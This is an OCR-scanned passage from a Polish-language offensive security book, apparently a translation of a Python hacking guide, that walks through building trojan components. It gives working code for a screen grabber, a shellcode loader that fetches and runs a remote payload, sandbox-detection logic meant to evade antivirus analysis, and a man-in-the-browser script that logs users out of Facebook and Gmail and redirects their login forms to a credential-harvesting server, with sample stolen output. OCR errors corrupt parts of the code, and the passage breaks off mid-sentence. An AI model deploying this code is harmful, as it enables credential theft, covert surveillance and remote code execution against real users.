i normalnie pracowaé w systemie Windows. Skorzystaj z przegladarki interne-
towej, kalkulatora i dowolnej innej aplikacji oraz obserwuj wyniki w konsoli.
Niedoskonalosci formatowania przedstawionych ponizej wynikéw wynikajg
z ograniczen formatu ksigzki.
C:\>python keylogger-hook.py
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe
“>key Togger-hook.py ]
test
[ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ]
www.nostarch.com [Return]
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe
“>keylogger-hook.py ]
[Lwin] r
[ PID: 1944 - Explorer.EXE - Run ]
c al c [Return]
[ PID: 2848 - calc.exe - Calculator ]
1 [Lshift] +1 =
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Jak widaé¢ w oknie gtéwnym, w ktérym dziata rejestrator, wpisatem stowo
test. Potem uruchomilem przegladarke Internet Explorer, wszedlem na strone
www.nostarch.com i wlaczylem kilka innych programéw. Stwierdzam, ze mozesz
dodaé rejestracje klawiszy do swojego zestawu sztuczek hakerskich. Przejdzmy
wiec do robienia zrzutéw ekranu.

Robienie zrzutow ekranu

Wiekszosé systeméw zlosliwego oprogramowania i testéw penetracyjnych ma
mozliwo$¢ robienia zrzutéw ekranu na komputerze docelowym. To pozwala na
robienie zdje¢, rejestrowanie klatek filméw oraz przechwytywanie w ten sposéb
réznych poufnych informacji, ktérych nie da sie zdobyé za pomoca rejestratora
pakietéw ani klawiszy. My do tego celu mozemy wykorzysta¢ pakiet PyWin32
(zobacz podrozdzial ,,Instalacja potrzebnych narzedzi”™ w rozdziale 10.) stuzacy
do wywolywania funkeji macierzystego interfejsu API Windows.

Nasz mechanizm robienia zrzutéw ekranu bedzie wykorzystywat interfejs
GDI (ang. Graphics Device Interface) systemu Windows do okreslania pewnych
wlasciwosci, takich jak rozmiar ekranu, i robienia zrzutéw. Niektére programy
tego typu pobieraja tylko obraz aktualnie aktywnego okna lub uzywanej aplika-
¢ji, ale my chcemy robi¢ zrzuty calego ekranu. Utwoérz wiec plik o nazwie scre-
enshotter.py i wpisz w nim ponizszy kod:

import win32gui
import win32ui
import win32con
import win32api

# utworzenie uchwytu do gléwnego okna pulpitu
O hdesktop = win32gui.GetDesktopWindow()

# sprawdzenie rozmiaru w pikselach wszystkich monitordéw

® width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
Teft = win32api.GetSystemMetrics(win32con.SM XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# utworzenie kontekstu urzqdzenia
©® desktop dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# utworzenie kontekstu urzqdzenia w pamigci
® mem dc = img_dc.CreateCompatibleDC()

# utworzenie obiektu bitmapowego

@ screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject (screenshot)
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# skopiowanie ekranu do kontekstu urzqdzenia w pamigci
mem_dc.BitB1t((0, 0), (width, height), img _dc, (left, top), win32con.SRCCOPY)

# zapisanie bitmapy w pliku
screenshot.SaveBitmapFile(mem dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# zwolnienie obiektéw
mem_dc.DeleteDC()
win32gui.DeleteObject (screenshot.GetHandle())

Zobaczmy, co ten skrypt robi. Najpierw tworzymy uchwyt do calego pulpitu @,
ktéry obejmuje caty widoczny obszar na wielu monitorach. Nastepnie spraw-
dzamy rozmiar ekranu (lub ekranéw) @, aby okresli¢ wymiary zrzutu. P6zniej
tworzymy kontekst urzadzenia® przy uzyciu funkcji GetWindowdC ©, ktérej prze-
kazujemy nasz uchwyt do pulpitu. Potem musimy utworzy¢ kontekst urzgdzenia
w pamieci @, w ktérym bedziemy przechowywaé nasz zrzut ekranu do mo-
mentu zapisania bajtéw bitmapy w pliku. Nastepnie tworzymy obiekt bitmapy @,
ktéry ustawiamy na kontekst urzadzenia naszego pulpitu. Funkcja SelectObject
ustawia pamieciowy kontekst urzadzenia na obiekt bitmapy. Przy uzyciu funkcji
BitB1t ® tworzymy bitowg kopie obrazu pulpitu i zapisujemy ja w kontekscie
w pamieci. Jest to operacja podobna do wywotania funkcji memcpy dla obiektéw
GDI. Ostatnia czynnoScig jest zrzucenie obrazu na dysk @. Skrypt ten mozna
tatwo przetestowaé. Wystarczy go uruchomié w wierszu poleceti i poszukaé
w folderze C:\Windows\Temp pliku screenshot.bmp. Teraz przechodzimy do wy-
konywania kodu powloki.

Wykonywanie kodu powloki przy uzyciu Pythona

Czasami trzeba skomunikowa¢ sie z jednym z komputeréw docelowych albo za-
stosowaé jeden z ulubionych testéw penetracyjnych lub eksploitéw. Najczesciej,
cho¢ nie zawsze, trzeba w tym celu wykona¢ kod powloki. Aby wykonaé surowy
kod powloki, nalezy utworzyé¢ w pamieci bufor i przy uzyciu modulu ctypes
utworzy¢ wskazujacy to miejsce w pamieci wskaznik do funkcji oraz wywotaé te
funkcje. W ponizszym przykladzie wykorzystamy biblioteke ur11ib2 do pobrania
kodu powloki z serwera sieciowego w formacie base64, ktéry nastepnie wyko-
namy. Zaczynamy. Utworz plik shell _exec.py i wpisz do niego ponizszy kod:

import urllib2
import ctypes
import base64

# pobranie kodu powloki z naszego serwera
url = "http://Tocalhost:8000/shellcode.bin"

? Wszystkiego o kontekstach urzadzen i programowaniu przy uzyciu interfejsu GDI dowiesz sie na
stronach MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/dd183553(v=uvs.85).aspx.
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@ response = urllib2.urlopen(url)

# dekodowanie
shellcode = base64.b64decode(response.read())

# utworzenie bufora w pamigci
@ shellcode_buffer = ctypes.create string buffer(shellcode, Ten(shellcode))

# utworzenie wskaznika do funkcji wskazujgeego nasz kod
©® shellcode func = ctypes.cast(shellcode buffer, ctypes.CFUNCTYPE(ctypes.c void p))

# wywolanie kodu powloki
O shellcode_func()

Co ciekawego w tym kodzie? Najpierw pobieramy zaszyfrowany algoryt-
mem base64 kod powloki z serwera @. Nastepnie tworzymy bufor @ do prze-
chowywania tego kodu po jego rozszyfrowaniu. Funkcja ctypes cast umozliwia
rzutowanie bufora tak, aby zachowywal sie jak wskaznik do funkcji ©, dzieki
czemu mozemy wywolaé nasz kod powloki w taki sam sposéb, jakby byl nor-
malng funkcjg Pythona. Na zakoficzenie wywolujemy nasz wskaznik do funkcji,
co powoduje wykonanie kodu powtoki @.

Czy to w ogdle dziata

Mozesz wlasnorecznie napisa¢ kod powloki albo wygenerowaé go przy uzyciu
jednego z systeméw do wykonywania pentestéw, np. CANVAS lub Metasploit’.
Ja do testéw wybratem kod zwrotny powtoki Windows x86 dla CANVAS. Zapisz
surowy kod (nie bufor tanicuchéw!) w pliku /tmp/shellcode.raw w komputerze
z Linuksem i wykonaj nastepujace polecenie:

justin$ base64 -i shellcode.raw > shellcode.bin
justin$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Zakodowalismy kod powloki algorytmem base64 przy uzyciu standardowego
wiersza poleceni systemu Linux. Nastepng malg sztuczka jest wykorzystanie
modutu Simp1eHTTPServer w celu potraktowania biezacego katalogu roboczego
(w tym przypadku /tmp/) jako gtéwnego katalogu sieciowego. Wszelkie zadania
plikéw bedg obstugiwane automatycznie. Teraz przenie$ swij skrypt shell_exec.py
do maszyny wirtualnej z systemem Windows i wykonaj go. W terminalu Linuksa
powinna pojawic sie nastepujaca informacja:

192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -

3 CANVAS to narzedzie komercyjne, wiec lepiej jest skorzystaé z nastepujacego poradnika, opisujacego jak
wygenerowaé tadunki Metasploit: http:/www.offensive-security.com/metasploit-unleashed/Generating_Payloads.
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Oznacza to, ze nasz skrypt pobral kod powloki z naszego prostego serwera
sieciowego utworzonego przy uzyciu modutu Simpl1eHTTPServer. Jesli wszystko
pojdzie dobrze, otrzymamy powloke z powrotem i uruchomimy program calc.exe,
wyswietlimy wiadomo$é lub zrobimy jeszcze co$ innego.

Wykrywanie srodowiska ograniczonego
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Coraz wiecej programéw antywirusowych wykorzystuje ograniczone $rodowiska
wykonawcze w celu sprawdzenia zachowania podejrzanych programéw. Roz-
wigzania takie mogg dziata¢ zaréwno w sieci, jak i bezposrednio na komputerze
docelowym i naszym zadaniem jest nie da¢ sie im wykry¢. Jest kilka sposobéw
na wykrycie, czy trojan dziala w takim ograniczonym $rodowisku. Bedziemy
monitorowaé poczynania uzytkownika komputera docelowego, a doktadniej be-
dziemy $ledzi¢ klikniecia myszg i nacisniecia przyciskéw na klawiaturze.

Nastepnie dodamy proste mechanizmy wykrywajace naci$niecia klawiszy oraz
pojedyncze i podwdjne klikniecia mysza. Ponadto skrypt nasz bedzie prébowat
dowiedzie¢ sie, czy operator §rodowiska ograniczonego wysyta wielokrotnie jakie$
dane wejsciowe (tzn. podejrzane nastepujace po sobie klikniecia myszy), aby
spréobowaé zareagowa¢ na podstawowe metody wykrywania srodowiska ograni-
czonego. Poréwnamy ostatnig interakcje uzytkownika z maszyna i czas, przez
jaki ta maszyna jest uruchomiona, co powinno nam daé wskazéwke na temat te-
go, czy znajdujemy sie w $rodowisku ograniczonym, czy nie. Typowy komputer
jest uzywany na rézne sposoby w ciagu dnia, natomiast ograniczone §rodowisko
wykonawcze pozostaje nieruszane, poniewaz shuzy tylko jako automatyczne na-
rzedzie do analizy zlosliwego oprogramowania.

Potem mozemy podjaé¢ decyzje, czy kontynuowaé wykonywanie, czy nie.
Zaczniemy od napisania kodu wykrywajacego ograniczone srodowisko wyko-
nawcze. Utworz plik sandbox_detect.py i wpisz w nim ponizszy kod:

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.wind11.kernel32

keystrokes =0
mouse_clicks =0
double_clicks 0

Sa to gléwne zmienne, przy uzyciu ktérych bedziemy sledzié¢ liczbe kliknieé
myszg i naci$nie¢ klawiszy. P6Zniej przyjrzymy sie czasom zdarzen myszy. Teraz
utworzymy i przetestujemy mechanizm wykrywania czasu dziatania systemu
oraz czasu, jaki uptynat od ostatniej interakcji z uzytkownikiem. Dodaj ponizsza
funkcje do skryptu sandbox_detect.py:
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class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)

]
def get _last_input():

struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.chSize = ctypes.sizeof (LASTINPUTINFO)

# sprawdzenie ostatniej zarejestrowanej interakcji
user32.GetLastInputInfo(ctypes.byref(struct_Tastinputinfo))

# sprawdzenie czasu dzialania komputera
run_time = kernel32.GetTickCount ()

elapsed = run_time - struct_lastinputinfo.dwTime

9

print "[*] 0d ostatniej interakcji minefo %d milisekund." % elapsed
return elapsed

# KOD TESTOWY DO USUNIECIA PO TYM AKAPICIE!
while True:

get last_input()

time.sTeep(1)

Zdefiniowalismy strukture LASTINPUTINFO, w ktérej bedziemy przechowywac
znacznik czasu (w milisekundach) ostatniego wykrytego w systemie zdarzenia
wejsciowego. Zwr6¢ uwage, ze trzeba zainicjowaé zmienng cbSize @ rozmiarem
tej struktury. Nastepnie wywolujemy funkcje GetLastInputInfo @, ktéra wsta-
wia do pola struct_Tastinputinfo.dwTime znacznik czasu. Nastepnym krokiem
jest sprawdzenie czasu dziatania systemu za pomoca funkcji GetTickCount ©.
Ostatni fragment kodu @ to prosty test pozwalajacy wywolaé skrypt i poruszaé
mysza albo nacisnaé kilka klawiszy, aby sprawdzié, jak skrypt dziata.

P6zniej zdefiniujemy wartosci graniczne dla tych zdarzen interakeji z uzyt-
kownikiem. Ale najpierw warto zauwazy¢, ze catkowity czas dzialania systemu
i czas ostatniego zdarzenia interakeji z uzytkownikiem réwniez mogg by¢ przy-
datne w aktualnie stosowanej technice. Na przyklad jezeli wiadomo, ze ataki sg
przeprowadzane tylko metodg phishingu, to aby doszlo do infekeji, prawie na
pewno uzytkownik musiat co§ kliknaé lub wykonaé inng czynno$é. To by ozna-
czalo, ze w ciggu ostatnich paru minut zanotowane powinny by¢ dane dotyczace
interakcji z uzytkownikiem. Jesli odkryjesz, ze komputer dziata od 10 minut,
a ostatnia wykryta interakcja miata miejsce 10 minut temu, to mozesz podejrze-
waé, ze znajdujesz sie w ograniczonym $rodowisku wykonawczym. Do wykry-
wania takich rzeczy potrzebny jest dobry i spéjny trojan.
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Ty samg technikq mozna sprawdzaé, czy uzytkownik jest aktywny, czy nie,
poniewaz zrzuty ekranu powinno sie raczej robi¢ w czasie, gdy kto$ pracuje,
a inne czynno$ci, jak na przyktad wysylanie danych, mozna wykonywa¢, gdy ni-
kogo przy komputerze nie ma. Ponadto z czasem mozna wykryé pewne wzorce
zachowan uzytkownika, aby przewidywa¢, kiedy najprawdopodobniej siedzi przed
komputerem.

Teraz usuniemy trzy ostatnie linijki z powyzszego kodu i dodamy mechani-
zmy §ledzenia nacisnie¢ klawiszy i kliknie¢ myszy. Tym razem zastosujemy roz-
wigzanie oparte na ctypes zamiast metody PyHook. Oczywiscie metode te tez
mozna by bylo tu zastosowaé, ale zawsze dobrze jest mieé w zanadrzu rézne
sztuczki, poniewaz kazdy program antywirusowy i kazde ograniczone srodowisko
wykonawcze ma wlasne mechanizmy zabezpieczajace. Czas przejsé do kodu:

def get _key press():
global mouse_clicks
global keystrokes

(1] for i in range(0,0xff):
(2} if user32.GetAsyncKeyState(i) == -32767:
# Ox1 to kod kliknigcia lewym przyciskiem myszy
(3} ifi==
mouse_clicks += 1
return time.time()
(4] elif i > 32 and i < 127:
keystrokes += 1
return None
Ta prosta funkcja sprawdza liczbe kliknie¢ mysza, czas tych kliknieé¢ oraz liczbe
naci$nieé¢ klawiszy na klawiaturze przez uzytkownika komputera docelowego.
Jej dziatanie polega na iteracji przez zakres poprawnych numeréw klawiszy @.
Dla kazdego klawisza sprawdzamy, czy zostal nacisniety za pomocg funkcji
GetAsyncKeyState @. Jezeli klawisz zostal nacisniety, sprawdzamy, czy ma kod
0x1 @, ktéry oznacza lewy przycisk myszy. Zwiekszamy liczbe wszystkich klik-
nieé¢ myszg i zwracamy biezacy znacznik czasu, aby méc p6ézniej wykonaé obli-
czenia czasowe. Ponadto sprawdzamy, czy uzytkownik nacisnat jakie§ klawisze
znakoéw z zestawu ASCII @, i jesli tak, zwickszamy liczbe nacisnie¢ klawiszy.
Teraz utworzymy gléwng petle wykrywania ograniczonego $rodowiska wyko-
nawczego. Dodaj ponizszy kod do pliku sandbox_detect.py:
def detect_sandbox():
global mouse_clicks
global keystrokes
(1] max_keystrokes = random.randint(10,25)
max_mouse_clicks = random.randint(5,25)
Rozdziat 8
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double clicks =0

max_doﬁb]e_c]icks =10
double_click_threshold = 0.250
first_double_click = None
average_mousetime =0

max_input_threshold 30000

previous_timestamp = None
detection_complete = False

last_input = get_last_input()

# Jesli osiggniemy ustalong wartos¢ progowaq, wycofujemy si¢
if lTast_input >= max_input_threshold:
sys.exit(0)

while not detection_complete:
keypress_time = get_key press()
if keypress_time is not None and previous_timestamp is not None:

# obliczenie czasu migdzy podwdjnymi kliknigciami
elapsed = keypress_time - previous_timestamp

# Uzytkownik klikngt dwa razy
if elapsed <= double_click_threshold:
doubTle_clicks += 1

if first_double_click is None:

# pobranie znacznika czasu pierwszego podwdjnego kliknigcia
first _double click = time.time()

else:
# Czy probowano imitowac szybkie kliknigcia?
if double_clicks == max_double_clicks:
if keypress _time - first double click <=
> (max_double_clicks * double_click_threshold):
sys.exit(0)

# Cieszymy sig, ze jest wystarczajgco duzo interakcji z uzytkownikiem

if keystrokes >= max_keystrokes and double clicks >=

—>max_double_clicks and mouse _clicks >= max_mouse_clicks:
return

previous_timestamp = keypress_time

elif keypress_time is not None:
previous_timestamp = keypress time

detect_sandbox()
print "OK!"
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Nie zapomnij, ze wciecia blokéw kodu sg wazne! Najpierw definiujemy kilka
zmiennych @ do rejestrowania czasu kliknie¢é myszg oraz warto$ci graniczne
okreslajace, ile nacisnieé klawiszy lub przyciskéw myszy wystarczy nam, by uznag,
ze dzialamy poza ograniczonym Srodowiskiem wykonawczym. Za kazdym ra-
zem ustawiamy inne wartosci, ale oczywiscie w razie potrzeby mozna ustawi¢
wlasne liczby w oparciu o zebrane informacje.

Nastepnie sprawdzamy, ile czasu mineto @ od zarejestrowania jakiejs formy
interakcji uzytkownika z systemem, i jesli uznamy, ze to za dlugo (biorac pod
uwage czas trwania infekcji), wycofujemy sie, zamykajgc trojana. Oczywiscie
zamiast wylgczaé program, mozna by bylo pogrzebaé w rejestrze albo zbadaé
jakies pliki. Po tym pierwszym teScie przechodzimy do petli wykrywajacej naci-
$niecia klawiszy i przyciskéw myszy.

Najpierw szukamy naci$nie¢ klawiszy i kliknie¢ mysza © i wiemy, ze jezeli
funkcja zwréei wartosé, to jest nig znacznik czasu okreslajacy, kiedy miato miejsce
klikniecie. Nastepnie obliczamy, ile czasu mija miedzy kliknieciami @ i por6w-
nujemy otrzymang warto$¢ z okre§long wartoscig progowa @ w celu dowiedze-
nia sie, czy to bylo podwdjne klikniecie. Jednoczesnie sprawdzamy, czy operator
srodowiska ograniczonego celowo nie wysyla zdarzen klikniecia ® do tego $ro-
dowiska, aby oszuka¢ mechanizmy wykrywania. Na przyklad 100 podwdjnych
Kliknie¢ po kolei byloby dziwne. Jesli wystapita maksymalna liczba podwéjnych
kliknie¢ i mialy one miejsce w krétkim czasie @, wycofujemy sie. Ostatnig czyn-
noscia jest sprawdzenie, czy udalo sie przejsé¢ przez wszystkie préby oraz czy osia-
gnieto maksymalna liczbe kliknie¢, nacisnie¢ klawiszy i podwéjnych kliknie¢ ©.
Jesli tak, koniczymy dziatanie naszej funkcji wykrywania srodowiska ograniczonego.

Zachecam do zmieniania ustawien i dodawania nowych funkcji, np. do wy-
krywania maszyn wirtualnych. Dobrym pomyslem moze byé przesledzenie ty-
powych wzorcéw zachowari w odniesieniu do kliknie¢ myszg i nacisnieé¢ klawiszy
na kilku wlasnych komputerach i okre§lenie warto$ci na podstawie tak zebra-
nych informacji. W niektérych przypadkach lepsze moga by¢ bardziej restryk-
cyjne ustawienia, a w innych w ogéle nie trzeba przejmowacé sie¢ wykrywaniem
srodowiska ograniczonego. Narzedzia opisane w tym rozdziale moga stuzy¢ jako
podstawa do budowy wlasnego trojana, a dzieki modutowej budowie naszego
szkieletu kazde z tych narzedzi mozna wdrozy¢ osobno.
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Zabawa
Z Internet Explorerem

TECHNOLOGIA AUTOMATYZACYJNA COM W SYSTEMIE WINDOWS MA WIELE
PRAKTYCZNYCH ZASTOSOWAN, OD INTERAKCJI Z USLUGAMI SIECIOWYMI PO
OSADZANIE ARKUSZY KALKULACYJNYCH PROGRAMU MICROSOFT EXCEL WE
wlasnych aplikacjach. Wszystkie wersje systemu Windows od XP umozliwiaja
uzywanie obiektu COM przegladarki Internet Explorer w aplikacjach. My wyko-
rzystamy te mozliwo$é do naszych celéw. Przy uzyciu macierzystego obiektu
automatyzacji przegladarki IE przeprowadzimy atak typu ,.czlowiek w przegla-
darce”, aby ukrasé¢ dane poswiadczajace z uzywanej przez uzytkownika strony.
Rozwigzanie, ktére stworzymy, bedzie rozszerzalne, aby mozna bylo przy jego
uzyciu hakowaé kilka serwiséw internetowych. Na zakoriczenie wykorzystamy
przegladarke Internet Explorer do wykradania danych z systemu operacyjnego.
Zastosujemy tez szyfrowanie kluczem publicznym, aby zdobyte informacje byty
czytelne tylko dla nas.

Internet Explorer, méwisz? Choé dzi§ wiekszg popularnoscig cieszg sie takie
przegladarki internetowe jak Google Chrome i Mozilla Firefox, wiekszo$¢ kor-
poracji nadal domyslnie korzysta z Internet Explorera. Ponadto przegladarki tej
nie da sie odinstalowa¢ z Windowsa, dzieki czemu trojan, ktory ja atakuje, powi-
nien zawsze dziataé.



Cztowiek w przegladarce
(albo cos w tym rodzaju)

142

Ataki typu man in the browser (MitB — z ang. ,.czlowiek w przegladarce™) sa
znane mniej wiecej od poczatku tego wieku. Sg modyfikacjg klasycznego ataku
man in the middle. R6znica polega na tym, ze zlosliwy program nie instaluje sie
miedzy uczestnikami komunikacji, tylko wykrada poufne dane z niczego nie-
podejrzewajacej przegladarki internetowej. Wiekszosé takich przegladarkowych
wiruséw (najczesciej zwanych obiektami pomocniczymi przegladarki) instaluje
sie w przegladarce lub wstrzykuje kod w inny sposéb, aby uzyska¢ mozliwosé
kontrolowania procesu przegladarki. Ale programisci przegladarek i tworcy
programéw antywirusowych zaczeli coraz wiecej uwagi poswiecaé¢ tego typu
praktykom, przez co tworcy wiruséw muszg stosowac coraz to sprytniejsze roz-
wigzania. Przy uzyciu macierzystego interfejsu COM Internet Explorera mozna
kontrolowa¢ kazda sesje tej przegladarki i wykra$é dane poswiadczajace do réz-
nych serwis6w i poczty elektronicznej. Oczywiscie dodatkowo mozna tez pozmie-
nia¢ hasta albo wykona¢ transakcje przy uzyciu utworzonych przez uzytkownika
sesji. W niektérych przypadkach technike te mozna polaczyé z rejestratorem
naci$nie¢ klawiszy, aby wymusié ponowne uwierzytelnienie podczas przechwy-
tywania danych.

Zaczniemy od prostego skryptu, ktéry bedzie ,,wypatrywal” Facebooka i Gmaila,
wylogowywatl uzytkownika z tych serwiséw oraz modyfikowal formularz logo-
wania tak, aby nazwa uzytkownika i haslo byly wysylane do serwera HTTP znaj-
dujacego sie pod naszq kontrola. Serwer ten bedzie przekierowywal uzytkownika
z powrotem do prawdziwej strony logowania.

Kazdy, kto kiedykolwiek mial do czynienia z jezykiem JavaScript, zauwazy,
ze model COM do interakeji z przegladarkg TE jest bardzo podobny do kodu
w tym jezyku. Wybraliémy portale Facebook i Gmail, poniewaz uzytkownicy
korporacyjni majg paskudny zwyczaj wykorzystywania jednego hasta w wielu
miejscach i notorycznie uzywajg tych portali do celéw stuzbowych (przekazuja
poczte stuzbowa do Gmaila, uzywaja Facebooka do komunikowania sie ze
wsp6tpracownikami itd.). Utwérz plik mith.py i wpisz ponizszy kod:

import win32com.client
import time

import urlparse
import urllib

data_receiver = "http://lTocalhost:8080/"

target_sites = {}
target sites["www.facebook.com"] = \

{"Togout_url" : None,
"logout_form" : "logout_form",
“login_form_index": 0,

"owned" : False}
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target sites["accounts.google.com"] =\

{"Togout_url" : "https://accounts.google.com/Logout?hl=en&continue=
“>https://accounts.google.com/ServicelLogin%3Fservice%3Dmail",
"Togout_form" : None,

"lTogin_form_index" : 0,

"owned" : False}

# uzycie tego samego celu dla wielu domen Gmail
target_sites["www.gmail.com"] = target sites["accounts.google.com"]
target_sites["mail.google.com"] = target sites["accounts.google.com"]

clsid="'{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"

windows = win32com.client.Dispatch(clsid)

Jest to pierwsza cze$é naszego skryptu do wykonywania atakéw typu MitB.
Najpierw definiujemy zmienng data_receiver @ jako serwer sieciowy do odbie-
rania danych pos$wiadczajacych z atakowanych witryn. Metoda ta jest do$¢ ryzy-
kowna, poniewaz co bardziej cwany uzytkownik moze dostrzec przekierowanie.
Dlatego w ramach pracy domowej poszukaj sposobu na pobieranie ciasteczek,
przesylanie zapisanych informacji poprzez DOM w znaczniku obrazu albo jesz-
cze jakiej$ innej niebudzacej podejrzefi metody. Nastepnie tworzymy stownik
witryn do zaatakowania @. Skladowe tego stownika to Togout url (adres URL,
ktéry mozemy przekierowaé¢ przez zadanie GET w celu wymuszenia wylogowa-
nia uzytkownika), Togout_form (element DOM, ktéry mozna zatwierdzac i ktéry
powoduje wylogowanie), Togin_form_index (wzgledna lokalizacja w docelowym
modelu DOM zawierajgca formularz logowania, ktéry zmodyfikujemy) oraz owned
(znacznik informujacy, czy juz przechwycilismy informacje z docelowej witryny,
poniewaz nie powinni§my caly czas wymuszaé logowania, jesli nie chcemy, aby
uzytkownik zaczal co§ podejrzewac). Nastepnie przy uzyciu identyfikatora klasy
Internet Explorera tworzymy obiekt COM ©, ktéry daje nam dostep do wszyst-
kich aktualnie dzialajgcych kart i instancji przegladarki Internet Explorer.

Majac gotows podstawows strukture, mozemy napisa¢ gléwng petle skryptu:

while True:
for browser in windows:
url = urlparse.urlparse(browser.LocationUrl)

if url.hostname in target_sites:

if target sites[url.hostname] ["owned"]:
continue

# Jesli jest adres URL, mozemy dokonac przekierowania
if target sites[url.hostname] ["1ogout url"]:

browser.Navigate(target_sites[url.hostname] ["Togout_url"])
wait_for_browser(browser)
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else:

# pobranie wszystkich elementéw z dokumentu
full_doc = browser.Document.all

# szukanie formularza wylogowywania
for i in full_doc:

try:
# znalezienie formularza wylogowywania i zatwierdzenie go
if i.id == target sites[url.hostname] ["Togout form"]:
i.submit()
wait_for_browser(browser)

except:
pass

# modyfikacja formularza logowania

try:
Togin_index = target sites[url.hostname]["Togin_form index"]
Togin_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[Togin_index].action = "%s%s" %
> (data_receiver, login_page)
target_sites[url.hostname] ["owned"] = True

except:

pass
time.sTeep(5)

Jest to nasza gléwna petla, w ktérej monitorujemy sesje docelowej przegla-
darki w celu wykradniecia danych poswiadczajacych do wybranych portali in-
ternetowych. Najpierw wlaczamy iteracje przez wszystkie aktualnie dzialajace
obiekty Internet Explorera @, do ktérych zaliczaja sie tez aktywne karty z now-
szych wersji tej przegladarki. Gdy uzytkownik wejdzie na ktéra$ z interesuja-
cych nas stron internetowych @, wlaczamy gléwng logike ataku. Pierwszym
krokiem jest sprawdzenie, czy juz atakowaliSmy dang strone. Jesli tak, to nie prze-
prowadzamy ataku ponownie. (Wadg tego rozwigzania jest to, ze jesli uzytkow-
nik pomyli sie przy wpisywaniu hasta, to mozemy nie przechwyci¢ jego danych.
Udoskonalenie tego pozostawiam jako zadanie do samodzielnego wykonania).

Nastepnie sprawdzamy, czy na docelowej stronie znajduje sie prosty adres
URL wylogowywania, na ktéry mozemy zrobi¢ przekierowanie @, i jesli tak,
zmuszamy przegladarke do tego przekierowania. Jezeli serwis (np. Facebook)
wymaga zatwierdzenia formularza, aby sie wylogowaé, rozpoczynamy iteracje
przez DOM @ i gdy znajdziemy element o identyfikatorze zgodnym z identyfi-
katorem formularza wylogowywania @, powodujemy zatwierdzenie formularza.
Po tym, jak uzytkownik zostanie przekierowany do formularza logowania, modyfi-
kujemy ten formularz tak, aby wysylal nazwe uzytkownika i hasto do kontrolo-
wanego przez nas serwera @, a nastepnie czekamy na dane po$wiadczajace. Zwroc
uwage, ze na koncu adresu URL naszego serwera HTTP dodali$my nazwe hosta
docelowej witryny, aby serwer ten wiedzial, gdzie skierowa¢ przegladarke po
odebraniu informacji.
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Kilka razy uzytem funkcji wait_for_browser. Jest to prosta funkcja czekajaca,
az przegladarka skoniczy pewna operacje, np. przechodzenie do nowej strony
albo oczekiwanie na pelne zaladowanie strony. Czas w konicu dopisa¢ te funkcje
i doda¢ ja do powyzszego skryptu nad petlg gtéwna;

def wait_for_browser(browser):

# Czeka, az przeglgdarka zakoriczy tadowanie strony
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sTeep(0.1)

return

Bardzo proste. Czekamy po prostu na catkowite zaladowanie modelu DOM
przed wykonaniem pozostalej czesci skryptu. To umozliwia nam wykonanie
modyfikacji modelu DOM i innych operacji w odpowiednim momencie.

Tworzenie serwera

Skrypt do przeprowadzania atakéw jest juz gotowy, wiec mozemy utworzy¢ prosty
serwer HTTP do pobierania danych poswiadczajacych. Utwérz nowy plik o na-
zwie cred_server.py i wpisz do niego nastepujacy kod:

import SimpleHTTPServer
import SocketServer
import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8")
print creds
site = self.path[1:]
self.send_response(301)
self.send_header('Location', urllib.unquote(site))
self.end_headers()

server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
server.serve_forever()

Ten prosty fragment kodu to nasz specjalny serwer HTTP Inicjujemy obiekt klasy
bazowej TCPServer przy uzyciu adresu IE portu i obiektu klasy CredRequestHandler @,
ktéry postuzy nam do obstugi zagdari HTTP P0ST. Gdy nasz serwer otrzyma zg-
danie od przegladarki z komputera docelowego, odezytujemy warto$é nagtéwka
Content-Length @, aby sprawdzi¢ rozmiar Zadania, a nastepnie wczytujemy
tre$¢ tego zadania @ i jg drukujemy ©. P6zniej sprawdzamy Zrédto pochodzenia
danych (Facebook, Gmail itd.) @ i zmuszamy przegladarke do przekierowania @
z powrotem na gléwna strone docelowego serwisu. W tym miejscu mozna by
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bylo doda¢ mechanizm wysytajacy nam zdobyte dane poswiadczajace na adres
e-mail, aby méc zalogowaé sie na koncie ofiary, zanim ta zdazy zmieni¢ hasto.
Zobaczmy, jak to dziala.

Czy to w ogdle dziata

Uruchom przegladarke IE oraz wlacz skrypty mith.py i cred_server.py w osob-
nych oknach. Najpierw wejdZ na rézne strony internetowe, aby sprawdzié¢, czy
podczas ich przegladania nie widaé czego§ dziwnego. Nastepnie wejdz na strone
Facebooka lub Gmaila i sprébuj sie zalogowaé¢. W oknie, w ktérym uruchomio-
ny jest skrypt cred_server.py, powinny znalez¢ si¢ dane podobne do ponizszych
(przyktad dotyczy Facebooka):

C:\>python.exe cred_server.py
1sd=AVog7IRe&email=justin@nostarch.comépass=pythOnrocks&default_persistent=0&
—>timezone=180&1gnrnd=200229 SsTf&Ignjs=1394593356&Tocale=en_US

localhost - - [12/Mar/2014 00:03:50] "POST /www.facebook.com HTTP/1.1" 301 -

Wida¢ wyraznie, ze skrypt przechwycit dane poswiadczajace i ze przegladarka
zostala przekierowana z powrotem do gléwnego ekranu logowania. Oczywiscie
